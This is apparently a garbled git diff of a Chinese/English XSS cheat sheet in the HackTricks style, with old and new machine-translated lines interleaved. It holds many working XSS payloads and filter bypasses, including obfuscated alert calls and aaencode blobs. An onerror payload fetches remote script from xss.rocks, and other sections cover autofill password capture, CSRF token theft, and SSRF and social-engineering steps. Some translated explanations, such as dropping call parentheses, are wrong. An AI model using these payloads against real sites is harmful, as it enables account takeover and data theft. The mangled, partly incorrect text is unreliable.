|
||||
By using space substitutions, we can obfuscate the malicious code and make it harder for the application to detect and block it.
|
||||
It's important to note that space substitutions may not always work, as some applications may have additional filters or security measures in place. Therefore, it's crucial to thoroughly test and understand the application's security mechanisms before attempting any XSS attacks.
|
||||
|
||||
通过使用空格替换,我们可以混淆恶意代码,使应用程序更难检测和阻止它。
|
||||
需要注意的是,空格替换可能并不总是有效,因为某些应用程序可能会有额外的过滤器或安全措施。因此,在尝试进行任何XSS攻击之前,务必彻底测试和了解应用程序的安全机制。
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**JavaScript注释(来自[JavaScript注释技巧](./#javascript-comments))**
|
||||
|
||||
在进行跨站脚本攻击(XSS)时,了解JavaScript注释的使用是非常有用的。注释是在JavaScript代码中添加的文本,用于解释代码的目的和功能。在XSS攻击中,我们可以利用注释来绕过过滤器和检测机制,以执行恶意代码。
|
||||
在进行跨站脚本攻击(XSS)时,了解JavaScript注释的使用是非常重要的。注释是在JavaScript代码中添加的文本,用于解释代码的目的和功能。在XSS攻击中,注释可以用来绕过过滤器和检测机制,以执行恶意代码。
|
||||
|
||||
以下是一些常见的JavaScript注释技巧:
|
||||
以下是一些常见的JavaScript注释技巧,可用于XSS攻击:
|
||||
|
||||
1. 单行注释:使用`//`符号可以在代码中添加单行注释。例如:
|
||||
|
||||
1. 单行注释:使用`//`来注释一行代码。例如:
|
||||
```javascript
|
||||
// 这是一个单行注释
|
||||
```
|
||||
|
||||
2. 多行注释:使用`/* */`来注释多行代码。例如:
|
||||
2. 多行注释:使用`/* */`符号可以在代码中添加多行注释。例如:
|
||||
|
||||
```javascript
|
||||
/*
|
||||
这是一个
|
||||
|
@ -801,17 +763,25 @@ By using space substitutions, we can obfuscate the malicious code and make it ha
|
|||
*/
|
||||
```
|
||||
|
||||
3. 注释掉恶意代码:我们可以使用注释来阻止恶意代码的执行。例如:
|
||||
3. 注释嵌套:可以在多行注释中嵌套单行注释,或在单行注释中嵌套多行注释。例如:
|
||||
|
||||
```javascript
|
||||
// alert('这是一个恶意代码');
|
||||
/*
|
||||
这是一个多行注释
|
||||
// 这是一个嵌套的单行注释
|
||||
*/
|
||||
```
|
||||
|
||||
4. 绕过过滤器:有些过滤器会检测和删除JavaScript代码中的注释。我们可以使用特殊的注释格式来绕过这些过滤器。例如:
|
||||
4. 注释终止:在注释中使用特殊字符(如`*/`)可能导致注释提前终止。为了避免这种情况,可以使用编码或其他技巧来绕过过滤器。例如:
|
||||
|
||||
```javascript
|
||||
//<script>alert('这是一个恶意代码');</script>
|
||||
/*
|
||||
这是一个多行注释
|
||||
*\/
|
||||
*/
|
||||
```
|
||||
|
||||
请记住,在进行XSS攻击时,我们必须始终遵循道德准则,并且只在合法授权的范围内进行测试。
|
||||
了解JavaScript注释的使用可以帮助您在XSS攻击中更好地隐藏恶意代码,绕过安全机制。但请记住,进行任何形式的黑客攻击都是非法的,只能在合法的渗透测试环境中进行。
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
|
@ -831,13 +801,21 @@ String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
|
|||
|
||||
在编写JavaScript代码时,空格是一种常见的字符。空格可以用于增加代码的可读性,并且在某些情况下是必需的。然而,空格在某些情况下可能会导致安全问题,特别是在跨站脚本攻击(XSS)中。
|
||||
|
||||
在XSS攻击中,攻击者利用输入字段或URL参数中的JavaScript代码注入恶意脚本。这些脚本可以在用户的浏览器上执行,并可能导致信息泄漏、会话劫持或其他恶意行为。
|
||||
在XSS攻击中,攻击者利用输入验证不足的网页应用程序,将恶意脚本注入到受害者的浏览器中。攻击者可以利用空格字符来绕过一些简单的过滤机制,从而成功执行恶意脚本。
|
||||
|
||||
攻击者可以利用JavaScript中的空格来绕过一些安全过滤器和防御机制。例如,攻击者可以使用空格来分隔关键字和函数名称,以避免被检测到。此外,攻击者还可以使用不同类型的空格字符,如全角空格或零宽空格,来混淆代码并绕过过滤器。
|
||||
以下是一些常见的JavaScript空格技巧,攻击者可能会使用它们来执行XSS攻击:
|
||||
|
||||
因此,在编写JavaScript代码时,应该注意空格的使用。确保对用户输入进行适当的验证和过滤,以防止XSS攻击。同时,建议使用安全的编码实践,如使用编码函数对用户输入进行转义,以确保输入的安全性。
|
||||
- **空格编码**:攻击者可以使用URL编码将空格字符转换为特殊字符,从而绕过输入过滤。例如,攻击者可以使用`%20`来代替空格字符。
|
||||
- **空格混淆**:攻击者可以在恶意脚本中使用多个连续的空格字符,以混淆代码并绕过过滤机制。例如,攻击者可以使用`<script src="malicious.js"></script>`来隐藏恶意脚本。
|
||||
- **空格绕过**:攻击者可以使用空格字符来绕过一些简单的过滤机制。例如,攻击者可以使用`java script:`来绕过`javascript:`的过滤。
|
||||
|
||||
总之,空格在JavaScript中是常见的字符,但在编写安全的代码时需要小心使用,以防止XSS攻击。
|
||||
为了防止XSS攻击,开发人员应该采取以下措施:
|
||||
|
||||
- 对用户输入进行严格的验证和过滤,确保只允许预期的字符和格式。
|
||||
- 对输出进行适当的编码,以防止恶意脚本的执行。
|
||||
- 使用安全的编程实践,如输入验证、输出编码和参数化查询,以减少安全漏洞的风险。
|
||||
|
||||
通过了解JavaScript空格技巧和XSS攻击的工作原理,开发人员可以更好地保护他们的应用程序免受潜在的安全威胁。
|
||||
```javascript
|
||||
log=[];
|
||||
function funct(){}
|
||||
|
@ -860,7 +838,7 @@ console.log(log)
|
|||
|
||||
攻击者可以通过在注释中插入恶意的Javascript代码,使其在浏览器中执行。这种攻击方式被称为"注释中的Javascript"攻击。攻击者可以利用这种漏洞来窃取用户的敏感信息、劫持会话、修改页面内容等。
|
||||
|
||||
为了防止这种攻击,开发人员应该遵循安全的编码实践,不要在注释中包含Javascript代码。同时,进行渗透测试时,渗透测试人员应该检查注释中是否存在恶意的Javascript代码,并向开发人员提供修复建议。
|
||||
为了防止这种攻击,开发人员应该避免在注释中包含Javascript代码,并且在处理用户输入时要进行适当的输入验证和过滤。渗透测试人员可以通过检查注释中是否存在Javascript代码来识别潜在的XSS漏洞,并向开发人员提供修复建议。
|
||||
```javascript
|
||||
//If you can only inject inside a JS comment, you can still leak something
|
||||
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
||||
|
@ -869,15 +847,15 @@ console.log(log)
|
|||
```
|
||||
**没有括号的JavaScript**
|
||||
|
||||
在某些情况下,可以在JavaScript中省略括号。这种技术可以在编写代码时提供更简洁的语法。以下是一些常见的情况:
|
||||
在某些情况下,我们可以在JavaScript中省略括号。这种技术可以在编写代码时提供更简洁的语法。以下是一些常见的情况:
|
||||
|
||||
1. **函数调用**:如果函数没有参数,可以省略括号。例如,`alert`函数可以写成`alert`而不是`alert()`。
|
||||
1. **函数调用**:如果函数没有参数,我们可以省略括号。例如,`alert`函数可以写成`alert`而不是`alert()`。
|
||||
|
||||
2. **返回函数**:如果函数返回另一个函数,可以省略括号。例如,`getFunction`函数返回一个函数,可以写成`getFunction`而不是`getFunction()`。
|
||||
2. **返回函数**:如果函数返回另一个函数,我们可以省略括号。例如,`getFunction()`函数返回一个函数,我们可以写成`getFunction`而不是`getFunction()`。
|
||||
|
||||
3. **立即执行函数**:如果要立即执行一个函数,可以省略括号。例如,`(function() { console.log('Hello!'); })()`可以写成`(function() { console.log('Hello!'); })`。
|
||||
3. **立即执行函数**:如果我们想立即执行一个函数,我们可以省略括号。例如,`(function() { ... })()`可以写成`(function() { ... })`。
|
||||
|
||||
请注意,省略括号可能会导致代码可读性下降,因此应谨慎使用。
|
||||
请注意,省略括号可能会使代码更难阅读和理解。因此,应该谨慎使用这种技术,并确保代码的可读性不受影响。
|
||||
````javascript
|
||||
// By setting location
|
||||
window.location='javascript:alert\x281\x29'
|
||||
|
@ -1027,11 +1005,11 @@ top[8680439..toString(30)](1)
|
|||
在那里,您将找到关于**DOM漏洞是什么,如何引发它们以及如何利用它们的详细解释**。\
|
||||
此外,请不要忘记在**提到的帖子末尾**找到关于[**DOM Clobbering攻击**](dom-xss.md#dom-clobbering)的解释。
|
||||
|
||||
## 其他绕过方法
|
||||
## 其他绕过方式
|
||||
|
||||
### 规范化Unicode
|
||||
|
||||
您可以检查服务器(或客户端)中的**反射值**是否被**规范化为Unicode**,并利用此功能绕过保护措施。[**在此处找到一个示例**](../unicode-injection/#xss-cross-site-scripting)。
|
||||
您可以检查服务器(或客户端)中的**反射值**是否被**Unicode规范化**,并利用此功能绕过保护措施。[**在此处找到一个示例**](../unicode-injection/#xss-cross-site-scripting)。
|
||||
|
||||
### PHP FILTER\_VALIDATE\_EMAIL标志绕过
|
||||
```javascript
|
||||
|
@ -1080,25 +1058,28 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
|||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||||
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
|
||||
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
|
||||
(function(x){this[x+`ert`](1)})`al`
|
||||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### 在302响应中进行头部注入的XSS攻击
|
||||
|
||||
如果你发现可以在302重定向响应中**注入头部**,你可以尝试让浏览器**执行任意的JavaScript代码**。这并不容易,因为现代浏览器在HTTP响应状态码为302时不会解析HTTP响应体,所以仅仅一个跨站脚本负载是无用的。
|
||||
|
||||
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中,你可以了解如何测试Location头部中的多个协议,并查看是否有任何协议允许浏览器检查和执行主体中的XSS负载。\
|
||||
在[**这个报告**](https://www.gremwell.com/firefox-xss-302)和[**这个报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中,你可以了解如何测试Location头部中的多个协议,并查看是否有任何协议允许浏览器检查和执行主体中的XSS负载。\
|
||||
已知的协议有:`mailto://`,`//x:1/`,`ws://`,`wss://`,空的Location头部,`resource://`。
|
||||
|
||||
### 仅限字母、数字和点号
|
||||
|
||||
如果你能指定**回调函数**将要**执行**的JavaScript代码,限制只能使用这些字符。[**阅读这篇文章的这一部分**](./#javascript-function)以了解如何滥用这种行为。
|
||||
如果你能指定**回调函数**将要**执行**的JavaScript代码,限制为这些字符。[**阅读本文的这一部分**](./#javascript-function)以了解如何滥用这种行为。
|
||||
|
||||
### 可用于XSS的有效`<script>`内容类型
|
||||
|
||||
(来自[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))如果你尝试加载一个带有`application/octet-stream`等**内容类型**的脚本,Chrome将会抛出以下错误:
|
||||
(来自[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))如果你尝试加载一个带有`application/octet-stream`等**内容类型**的脚本,Chrome将抛出以下错误:
|
||||
|
||||
> 拒绝执行来自 '[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') 的脚本,因为其MIME类型('application/octet-stream')不可执行,并且启用了严格的MIME类型检查。
|
||||
|
||||
唯一支持Chrome运行**加载的脚本**的**内容类型**是位于[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)中的常量**`kSupportedJavascriptTypes`**中的内容类型。
|
||||
唯一支持Chrome运行**加载的脚本**的**内容类型**是位于[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)中的常量**`kSupportedJavascriptTypes`**中的内容。
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
@ -1158,7 +1139,7 @@ import { partition } from "lodash";
|
|||
```
|
||||
这种行为在[**这篇解决方案**](https://github.com/zwade/yaca/tree/master/solution)中被用来重新映射一个库到eval以滥用它来触发XSS。
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 这个功能主要是为了解决预渲染引起的一些问题。它的工作原理如下:
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 这个功能主要是为了解决预渲染引起的一些问题。它的工作原理如下:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
|
@ -1249,9 +1230,9 @@ constructor(source)()
|
|||
// although import "fs" doesn’t work, import('fs') does.
|
||||
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
* 间接访问 `require`
|
||||
* 间接访问`require`
|
||||
|
||||
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 在Node.js中,模块被包装在一个函数中,像这样:
|
||||
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) Node.js将模块包装在一个函数中,像这样:
|
||||
```javascript
|
||||
(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
|
@ -1304,7 +1285,7 @@ trigger()
|
|||
```
|
||||
### 混淆和高级绕过
|
||||
|
||||
* **一个页面中的不同混淆方法:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* **同一页面中的不同混淆方法:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
|
@ -1341,7 +1322,7 @@ XSS (跨站脚本攻击) 是一种常见的网络安全漏洞,攻击者通过
|
|||
以下是一个简单的 XSS 攻击示例:
|
||||
|
||||
```javascript
|
||||
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚
|
||||
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー
|
||||
|
||||
```javascript
|
||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||
|
@ -1418,9 +1399,29 @@ To perform SSRF, follow these steps:
|
|||
1. Identify a vulnerable parameter that accepts URLs as input.
|
||||
2. Craft a request that includes the target server's internal IP address as the URL.
|
||||
3. Send the request to the vulnerable parameter and observe the response.
|
||||
4. If the response contains the internal IP address, it means the server is vulnerable to SSRF.
|
||||
4. If the response contains the internal IP address, it means that the target server is vulnerable to SSRF.
|
||||
|
||||
By using these methods, you can identify the internal IP addresses of the target system and use them for further exploitation during a penetration test.
|
||||
#### Method 3: Network Scanning
|
||||
|
||||
Network scanning is a technique that involves actively probing a network to identify live hosts and open ports. By scanning the target network, an attacker can discover internal IP addresses.
|
||||
|
||||
To perform network scanning, follow these steps:
|
||||
|
||||
1. Use a network scanning tool, such as Nmap, to scan the target network.
|
||||
2. Specify the IP range to scan, including both public and private IP address ranges.
|
||||
3. Analyze the scan results to identify internal IP addresses.
|
||||
|
||||
#### Method 4: Social Engineering
|
||||
|
||||
Social engineering is a technique that involves manipulating individuals to gain unauthorized access to information. By using social engineering tactics, an attacker can trick employees into revealing internal IP addresses.
|
||||
|
||||
To perform social engineering, follow these steps:
|
||||
|
||||
1. Gather information about the target organization and its employees.
|
||||
2. Craft a convincing pretext, such as posing as an IT support technician.
|
||||
3. Contact employees and attempt to extract internal IP addresses through conversation or phishing techniques.
|
||||
|
||||
By using these methods, an attacker can identify internal IP addresses, which can be used for further exploitation and lateral movement within the target network.
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
|
@ -1553,15 +1554,11 @@ When a web application fails to properly sanitize user input and does not implem
|
|||
|
||||
#### Exploitation
|
||||
|
||||
To exploit this vulnerability, the attacker creates a web page that contains a form with hidden fields. These hidden fields are designed to capture the auto-filled passwords from the victim's browser. The attacker then tricks the victim into visiting the malicious web page, either by sending a phishing email or by redirecting the victim from a legitimate website.
|
||||
|
||||
When the victim visits the malicious web page, the browser's auto-fill feature automatically populates the hidden fields with the victim's saved passwords. The malicious script then captures this information and sends it to the attacker's server.
|
||||
To exploit this vulnerability, the attacker creates a web page that contains a form field with a name similar to a saved password field. When the user visits this page, the browser's auto-fill feature will automatically populate the form field with the saved password. However, since the form field is actually controlled by the attacker's script, the password is captured and sent to the attacker's server.
|
||||
|
||||
#### Mitigation
|
||||
|
||||
To mitigate the risk of auto-fill password capture, web developers should implement proper input validation and output encoding to prevent XSS attacks. Additionally, web application security measures such as Content Security Policy (CSP) and strict input validation can help protect against this type of attack.
|
||||
|
||||
Users can protect themselves by being cautious when clicking on links or opening attachments in emails, as well as regularly updating their browsers and using strong, unique passwords for each website.
|
||||
To mitigate the risk of auto-fill password capture, web developers should implement proper input validation and sanitization techniques. Additionally, web application security measures such as Content Security Policy (CSP) and strict input validation can help prevent XSS attacks. Users should also be cautious when visiting unfamiliar websites and regularly update their browsers to ensure they have the latest security patches.
|
||||
```javascript
|
||||
<b>Username:</><br>
|
||||
<input name=username id=username>
|
||||
|
@ -1600,30 +1597,43 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
|||
```
|
||||
### 盗取 PostMessage 消息
|
||||
|
||||
PostMessage 是一种在不同窗口或框架之间进行跨域通信的方法。然而,如果未正确验证和过滤消息内容,攻击者可以利用这个功能来窃取敏感信息。
|
||||
#### 描述
|
||||
|
||||
#### 攻击原理
|
||||
PostMessage 是一种用于在不同窗口之间进行跨域通信的 API。然而,如果未正确实施安全措施,攻击者可以利用这个功能来窃取敏感信息。
|
||||
|
||||
攻击者可以通过注入恶意脚本来劫持目标网站上的 PostMessage 通信。一旦用户在目标网站上执行了恶意脚本,攻击者就可以通过 PostMessage 向其他窗口发送恶意消息,并窃取敏感信息。
|
||||
#### 攻击方法
|
||||
|
||||
#### 攻击步骤
|
||||
攻击者可以通过注入恶意脚本来劫持 PostMessage 消息。以下是一种常见的攻击方法:
|
||||
|
||||
1. 攻击者找到目标网站上存在 PostMessage 通信的漏洞。
|
||||
2. 攻击者注入恶意脚本,以劫持目标网站上的 PostMessage 通信。
|
||||
3. 用户在目标网站上执行恶意脚本。
|
||||
4. 攻击者利用劫持的 PostMessage 通信发送恶意消息。
|
||||
5. 攻击者窃取敏感信息。
|
||||
1. 攻击者在目标网站上注入恶意脚本。
|
||||
2. 恶意脚本监听 `message` 事件,以便拦截 PostMessage 消息。
|
||||
3. 当目标网站的其他窗口发送 PostMessage 消息时,恶意脚本会截获并将消息发送到攻击者控制的服务器。
|
||||
|
||||
#### 防御措施
|
||||
#### 防御方法
|
||||
|
||||
为了防止 PostMessage 消息被窃取,应该采取以下防御措施:
|
||||
为了防止 PostMessage 消息被窃取,可以采取以下措施:
|
||||
|
||||
- 对 PostMessage 消息进行严格的输入验证和过滤,确保只接受预期的消息。
|
||||
- 在接收 PostMessage 消息时,验证消息的来源和目标窗口,确保只接受来自可信源的消息。
|
||||
- 避免在 PostMessage 消息中传递敏感信息,尽量将敏感信息存储在服务器端。
|
||||
- 定期更新和修补网站上的漏洞,以防止攻击者利用 PostMessage 漏洞。
|
||||
1. 对于接收 PostMessage 消息的窗口,应该验证消息的来源。可以使用 `event.origin` 属性来验证消息的来源是否是可信的。
|
||||
2. 在发送 PostMessage 消息时,应该限制消息的目标窗口。只允许将消息发送到预期的窗口,避免将消息发送到不受信任的窗口。
|
||||
3. 对于包含敏感信息的 PostMessage 消息,应该对消息进行加密,以防止被窃取。
|
||||
|
||||
通过采取这些防御措施,可以有效防止 PostMessage 消息的窃取攻击。
|
||||
#### 示例
|
||||
|
||||
以下示例演示了如何使用 PostMessage 进行跨窗口通信:
|
||||
|
||||
```javascript
|
||||
// 发送 PostMessage 消息
|
||||
window.postMessage('Hello, World!', 'https://example.com');
|
||||
|
||||
// 接收 PostMessage 消息
|
||||
window.addEventListener('message', function(event) {
|
||||
if (event.origin === 'https://example.com') {
|
||||
console.log('Received message:', event.data);
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
